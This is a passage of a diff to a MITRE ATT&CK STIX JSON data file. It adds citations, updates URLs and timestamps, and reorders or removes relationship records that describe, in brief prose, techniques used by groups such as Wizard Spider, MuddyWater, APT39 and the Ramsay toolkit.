SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)(Citation: Sophos New Ryuk Attack October 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "relationship_type": "uses", - "modified": "2020-11-10T18:04:03.866Z" + "id": "relationship--6895e54e-3968-41a9-9013-a082cd46fa44", + "type": "relationship", + "modified": "2020-11-10T18:04:03.866Z", + "created": "2020-05-14T14:40:26.221Z" }, { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "external_references": [ { "source_name": "CrowdStrike Ryuk January 2019", - "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/" + "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", + "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020." }, { "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", - "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", - "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ " + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020." }, { "source_name": "FireEye KEGTAP SINGLEMALT October 2020", - "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." }, { "source_name": "DFIR Ryuk's Return October 2020", - "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.", - "url": "https://thedfirreport.com/2020/10/08/ryuks-return/" + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." }, { "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", - "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", - "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/" + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." }, { "source_name": "DFIR Ryuk in 5 Hours October 2020", - "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020.", - "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/" + "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020." }, { "source_name": "Sophos New Ryuk Attack October 2020", - "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.", - "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/" + "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020." } ], - "id": "relationship--d64f970a-8003-41bf-9769-d849c12340ed", - "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", - "type": "relationship", - "created": "2020-05-14T14:40:26.232Z", "description": "(Citation: CrowdStrike Ryuk January 2019)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)(Citation: Sophos New Ryuk Attack October 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "relationship_type": "uses", - "modified": "2020-11-10T18:04:03.868Z" + "id": "relationship--d64f970a-8003-41bf-9769-d849c12340ed", + "type": "relationship", + "modified": "2020-11-10T18:04:03.868Z", + "created": "2020-05-14T14:40:26.232Z" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -192495,27 +194020,6 @@ "modified": "2020-05-14T15:09:48.789Z", "created": "2020-05-14T15:09:48.789Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", - "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", - "external_references": [ - { - "source_name": "Kaspersky MoleRATs April 2019", - "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", - "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020." - } - ], - "description": "[DustySky](https://attack.mitre.org/software/S0062) can shutdown the infected machine.(Citation: Kaspersky MoleRATs April 2019)", - "relationship_type": "uses", - "id": "relationship--43c9340b-453b-424a-b529-090288a54df8", - "type": "relationship", - "modified": "2020-05-14T15:14:33.474Z", - "created": "2020-05-14T15:14:33.474Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -193916,76 +195420,40 @@ "created": "2020-05-15T17:03:12.918Z" }, { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "external_references": [ { "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." }, { "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." }, { "source_name": "FireEye KEGTAP SINGLEMALT October 2020", - "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." }, { "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", - "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", - "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ " + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020." } ], - "id": "relationship--1fa97951-8eba-4771-bc42-8084967f0c65", - "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", - "type": "relationship", - "created": "2020-05-15T18:52:17.468Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used WMI and LDAP queries for network discovery and to move laterally.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "relationship_type": "uses", - "modified": "2020-11-10T17:28:19.935Z" - }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "FireEye Ryuk and Trickbot January 2019", - "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html" - }, - { - "source_name": "DFIR Ryuk's Return October 2020", - "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.", - "url": "https://thedfirreport.com/2020/10/08/ryuks-return/" - }, - { - "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", - "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", - "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/" - }, - { - "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", - "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", - "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ " - } - ], - "id": "relationship--7af53b3b-0e82-4839-b69a-e47a5001218c", - "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "id": "relationship--1fa97951-8eba-4771-bc42-8084967f0c65", "type": "relationship", - "created": "2020-05-18T12:37:03.945Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used AdFind.exe to collect information about Active Directory groups and accounts.(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-11-10T17:28:19.959Z" + "modified": "2020-11-10T17:28:19.935Z", + "created": "2020-05-15T18:52:17.468Z" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -194020,13 +195488,18 @@ "source_name": "ClearSky MuddyWater June 2019", "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf", "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used HTTP for C2 communications.(Citation: ClearSky MuddyWater June 2019)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used HTTP for C2 communications.(Citation: ClearSky MuddyWater June 2019)(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "id": "relationship--7700e443-2a26-43ba-9557-4c6f11bfbde1", "type": "relationship", - "modified": "2020-05-20T20:37:42.721Z", + "modified": "2021-04-08T19:38:02.408Z", "created": "2020-05-18T17:29:30.916Z" }, { @@ -194402,13 +195875,18 @@ "source_name": "ClearSky MuddyWater June 2019", "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf", "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has base64 encoded C2 communications.(Citation: ClearSky MuddyWater June 2019)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used tools to encode C2 communications including Base64 encoding.(Citation: ClearSky MuddyWater June 2019)(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "id": "relationship--a1fc4800-c670-4bc1-bc42-2b5fe66d0297", "type": "relationship", - "modified": "2020-05-20T20:52:34.253Z", + "modified": "2021-03-19T13:41:28.669Z", "created": "2020-05-18T17:43:36.737Z" }, { @@ -195004,27 +196482,6 @@ "modified": "2020-06-23T00:48:35.527Z", "created": "2020-05-18T21:01:51.381Z" }, - { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "FireEye Ryuk and Trickbot January 2019", - "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html" - } - ], - "id": "relationship--e2df3e8d-beeb-4592-88f0-0241e321be91", - "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", - "type": "relationship", - "created": "2020-05-18T21:36:26.102Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used AdFind.exe to collect information about Active Directory organizational units and trust objects.(Citation: FireEye Ryuk and Trickbot January 2019)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", - "relationship_type": "uses", - "modified": "2020-05-18T21:36:26.102Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -195216,7 +196673,7 @@ "relationship_type": "uses", "id": "relationship--f2d0fd0d-7bfc-4f3e-bd78-2d691c476046", "type": "relationship", - "modified": "2020-08-31T15:06:48.619Z", + "modified": "2021-01-20T22:20:21.191Z", "created": "2020-05-19T20:39:12.450Z" }, { @@ -195500,7 +196957,7 @@ "relationship_type": "mitigates", "id": "relationship--af69bb4e-4cdb-4a9d-afff-5508c99c1276", "type": "relationship", - "modified": "2020-10-07T18:10:06.591Z", + "modified": "2020-12-29T19:07:11.244Z", "created": "2020-05-20T13:33:50.879Z" }, { @@ -196235,7 +197692,7 @@ "external_references": [ { "source_name": "NCCGroup RokRat Nov 2018", - "url": "https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/", + "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020." } ], @@ -196243,7 +197700,7 @@ "relationship_type": "uses", "id": "relationship--53c8de3e-f862-44d5-be7e-274e14bdd57e", "type": "relationship", - "modified": "2020-05-21T17:07:02.401Z", + "modified": "2021-03-29T19:50:54.290Z", "created": "2020-05-21T17:07:02.401Z" }, { @@ -196256,7 +197713,7 @@ "external_references": [ { "source_name": "NCCGroup RokRat Nov 2018", - "url": "https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/", + "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020." } ], @@ -196264,7 +197721,7 @@ "relationship_type": "uses", "id": "relationship--d1a17f31-c62f-4ec3-9a77-41e6a339a657", "type": "relationship", - "modified": "2020-05-21T17:07:02.444Z", + "modified": "2021-03-29T19:50:54.308Z", "created": "2020-05-21T17:07:02.444Z" }, { @@ -196816,11 +198273,11 @@ "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has communicated with C2 through files uploaded to DropBox.(Citation: BitDefender Chafer May 2020)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has communicated with C2 through files uploaded to and downloaded from DropBox.(Citation: BitDefender Chafer May 2020)", "relationship_type": "uses", "id": "relationship--5b875be8-3849-46e2-80cb-dec502f78f52", "type": "relationship", - "modified": "2020-05-29T13:22:52.635Z", + "modified": "2021-04-23T01:30:56.557Z", "created": "2020-05-22T18:00:52.255Z" }, { @@ -196856,13 +198313,18 @@ "source_name": "BitDefender Chafer May 2020", "url": "https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/", "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has used a command line utility and a network scanner written in python.(Citation: BitDefender Chafer May 2020)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used a command line utility and a network scanner written in python.(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--c906ddd0-e3fb-42ad-84cb-84ca093ddbb2", "type": "relationship", - "modified": "2020-05-29T13:22:52.684Z", + "modified": "2020-12-14T16:43:09.142Z", "created": "2020-05-22T18:00:52.267Z" }, { @@ -196877,13 +198339,18 @@ "source_name": "BitDefender Chafer May 2020", "url": "https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/", "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has used HTTP in communications with C2.(Citation: BitDefender Chafer May 2020)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used HTTP in communications with C2.(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--d9dce15d-68d8-46af-a7ec-354bf5093c49", "type": "relationship", - "modified": "2020-05-29T13:22:52.678Z", + "modified": "2020-12-11T15:57:09.657Z", "created": "2020-05-22T18:00:52.273Z" }, { @@ -196940,13 +198407,18 @@ "source_name": "Symantec Chafer February 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has downloaded tools to compromised hosts.(Citation: Symantec Chafer February 2018)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has downloaded tools to compromised hosts.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--60f1cf34-8c60-47b7-ba9a-88c2575006f9", "type": "relationship", - "modified": "2020-05-22T19:37:14.209Z", + "modified": "2020-12-11T15:57:09.722Z", "created": "2020-05-22T19:37:14.209Z" }, { @@ -196982,13 +198454,18 @@ "source_name": "Symantec Chafer February 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has used a tool to steal files from the compromised host.(Citation: Symantec Chafer February 2018)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used various tools to steal files from the compromised host.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--0e4c55fc-a923-4c05-89ce-3102620a41d7", "type": "relationship", - "modified": "2020-05-22T19:37:14.268Z", + "modified": "2020-12-11T15:57:09.779Z", "created": "2020-05-22T19:37:14.268Z" }, { @@ -197003,13 +198480,18 @@ "source_name": "Symantec Chafer February 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has used tools for capturing keystrokes.(Citation: Symantec Chafer February 2018)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used tools for capturing keystrokes.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--0ddcf163-015f-46a2-8de7-375712d92bae", "type": "relationship", - "modified": "2020-05-29T14:02:52.935Z", + "modified": "2020-12-11T16:17:17.851Z", "created": "2020-05-22T19:37:14.272Z" }, { @@ -197024,13 +198506,18 @@ "source_name": "Symantec Chafer February 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has used a screen capture utility to take screenshots on a compromised host.(Citation: Symantec Chafer February 2018)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used a screen capture utility to take screenshots on a compromised host.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--932beba4-bb6a-4174-abe3-353d2e39337c", "type": "relationship", - "modified": "2020-05-29T14:02:52.937Z", + "modified": "2020-12-11T16:17:17.893Z", "created": "2020-05-22T19:37:14.274Z" }, { @@ -199681,13 +201168,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) can scan for systems that are vulnerable to the EternalBlue exploit.(Citation: Eset Ramsay May 2020)\t", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can scan for systems that are vulnerable to the EternalBlue exploit.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "id": "relationship--2c9fad15-9b3f-45fe-854a-c87113d4695c", "type": "relationship", - "modified": "2020-06-15T20:53:11.545Z", + "modified": "2021-03-24T20:25:01.379Z", "created": "2020-05-28T16:38:03.660Z" }, { @@ -199702,13 +201194,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) can detect system information to create a hardware profile GUID which acts as a system identifier for operators.(Citation: Eset Ramsay May 2020)\t", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can detect system information--including disk names, total space, and remaining space--to create a hardware profile GUID which acts as a system identifier for operators.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "id": "relationship--81a857bb-4c36-4875-a62e-30e7b12eae12", "type": "relationship", - "modified": "2020-06-15T20:53:11.600Z", + "modified": "2021-03-24T20:25:01.412Z", "created": "2020-05-28T16:38:03.684Z" }, { @@ -199723,13 +201220,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of 